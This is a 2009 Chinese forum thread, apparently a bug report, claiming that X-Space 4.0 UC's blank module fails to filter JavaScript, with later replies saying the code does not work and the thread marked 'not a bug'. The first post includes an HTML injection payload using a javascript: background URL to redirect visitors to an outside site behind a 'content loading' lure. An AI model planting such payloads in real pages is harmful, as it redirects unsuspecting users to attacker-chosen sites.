X-Space 4.0 UC 空白模块过滤不严，可以做跳转代码

冰糕千千 · 发表于 2009-8-25 14:37:16

本帖最后由冰糕千千于 2009-8-26 23:01 编辑

后台关闭用户组的JAVA问题同样存在，空白模块过滤不严，可以做跳转代码

请看代码！！在日志里如果不过虑javascript词语问题同样存在！
<table background="javascript:location.href='http://www.1p3.cn/allsitedoc/goto.php?url=cg&do=def';"><tr><td>精彩内容加载中。请等待几分钟。</td></tr></table>

冰糕千千 · 发表于 2009-8-26 23:01:13

没有人回应呢？

lidq.jingwu · 发表于 2009-8-28 15:57:23

这个问题不存在，上面给出的代码，添加后，并不跳转。

yunliangstar · 发表于 2009-8-31 12:03:14

听说我的金币涨了看看

		自动登录	找回密码
密码			立即注册

[不是BUG] X-Space 4.0 UC 空白模块过滤不严，可以做跳转代码